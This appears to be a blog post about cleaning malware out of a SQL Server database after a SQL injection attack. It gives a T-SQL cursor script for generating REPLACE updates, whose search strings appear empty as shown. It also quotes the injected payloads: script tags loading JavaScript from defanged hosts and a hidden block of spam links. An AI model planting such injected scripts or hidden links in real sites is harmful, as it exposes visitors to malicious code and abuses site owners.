Cleaning Up After a SQL Injection Attack, Part 2
Programming, Security Tagged malware, sql injection, sql server, t-sql 4 Comments »Got a call today off our previous article in this series from Branden of Hot Media Group, Inc., aChicago-based web application development, networking, and graphic design firm who found himself with a database full of malware infections, but the characteristics of his attack didn't match what we had written about, so he called us up. We reviewed his symptoms and were able to tweak the code we provided previously to work with this new set of issues.
We weren't able to see how the site was attacked, nor did we worry about how the site would be steeled against future occurrence (always use stored procedures and/or parametrized queries, kids!) -- this was purely a cleanup job.
This is the code we had:
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'],'''', '''')') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99 OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN PRINT ('UPDATE ['+@T+'] SET ['+@C+']=cast(replace(cast(['+@C+'] as nvarchar(4000)),'''','''') as ntext)')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
And that worked fine, but it had some shortcomings -- mostly it only stripped out a single bit of invasive code, and our new friend had quite a bit of code to deal with, so instead of the almost quaint looking malware code:
<script src="hxxp://evilsite.evl/b.js"></script>
We had this jumble of code in every ntext field in his database:
<script type='text/javascript' src='http://google-anallytics.bad/urchin.js'></script> <div style='display:none;'><a href='http://tests4all.bad/1/'>journals on losing post-pregnancy weight</a> <a href='http://tests4all.bad/2/'>personal trainer certification atlanta</a> <a href='http://tests4all.bad/3/'>quit smoking water vapor rings</a> <a href='http://tests4all.bad/4/'>eyes in the darkness</a> <a href='http://tests4all.bad/5/'>cheated map on dota 6.54b</a> <a href='http://tests4all.bad/6/'>occupations for bored teen boys</a> <a href='http://tests4all.bad/7/'>cgw southeast partners ilp</a> <a href='http://tests4all.bad/8/'>does iq tests accurately measure intelligence</a> <a href='http://tests4all.bad/9/'>free total psychic reading</a> <a href='http://tests4all.bad/10/'>minnesota past life regression</a> <a href='http://tests4all.bad/11/'>date of abraham lincolns death</a>
After trying to figure out the best way to escape all the single quotes, Branden -- an accomplished ColdFusion developer -- suggests "why don't we just drop everything to the right of the <script> tag?"
Read the rest of this entry »
